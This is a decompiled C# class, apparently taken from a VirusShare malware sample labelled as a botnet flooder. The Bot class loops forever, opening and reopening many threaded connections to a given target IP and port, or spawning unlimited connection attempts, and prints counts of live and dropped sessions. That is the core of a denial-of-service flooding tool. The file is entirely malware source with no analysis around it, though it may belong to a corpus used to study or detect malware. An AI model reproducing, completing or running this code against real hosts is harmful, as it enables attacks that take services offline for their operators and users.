// Decompiled with JetBrains decompiler // Type: Bot1.Bot // Assembly: Bot1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 20DD3A26-8F2D-4308-84CA-4E2001F5A7BC // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Flooder.Win32.BotNet-11803bea825d1019c1c625a35ddac314d1b24b11958883eb4cc10b0fde3423f3.exe using System; using System.Collections; using System.Threading; namespace Bot1 { public class Bot { private int type; private int port; private string ip; public Bot(string _ip, int _port, int _type) { this.type = _type; this.ip = _ip; this.port = _port; } public void Start() { int num1 = 0; ArrayList arrayList1 = new ArrayList(); ArrayList arrayList2 = new ArrayList(); while (true) { switch (this.type - 1) { case 0: if (num1 == 0) { try { arrayList2.Add((object) new Connection(arrayList2.Count + 1, this.ip, this.port)); arrayList1.Add((object) new Thread(new ThreadStart(((Connection) arrayList2[arrayList2.Count - 1]).Connect))); ((Thread) arrayList1[arrayList1.Count - 1]).Start(); } catch (Exception ex) { } } for (int index = 0; index < arrayList2.Count; ++index) { ((Connection) arrayList2[index]).UpdateStatus(); if (((Connection) arrayList2[index]).status == 2) { try { arrayList2[index] = (object) new Connection(index, this.ip, this.port); arrayList1[index] = (object) new Thread(new ThreadStart(((Connection) arrayList2[index]).Connect)); ((Thread) arrayList1[index]).Start(); } catch (Exception ex) { } } } int num2 = 0; int num3 = 0; num1 = 0; for (int index = 0; index < arrayList2.Count; ++index) { switch (((Connection) arrayList2[index]).status) { case 0: ++num2; break; case 1: ++num3; break; case 2: ++num1; break; } } Console.WriteLine("unknown = " + num2.ToString() + "; connected = " + num3.ToString() + "; disconnected = " + num1.ToString()); continue; case 1: try { arrayList1.Add((object) new Thread(new ThreadStart(new Connection(arrayList1.Count + 1, this.ip, this.port).Connect))); ((Thread) arrayList1[arrayList1.Count - 1]).Start(); } catch (Exception ex) { } Console.WriteLine("attempts = " + arrayList1.Count.ToString()); continue; default: continue; } } } } }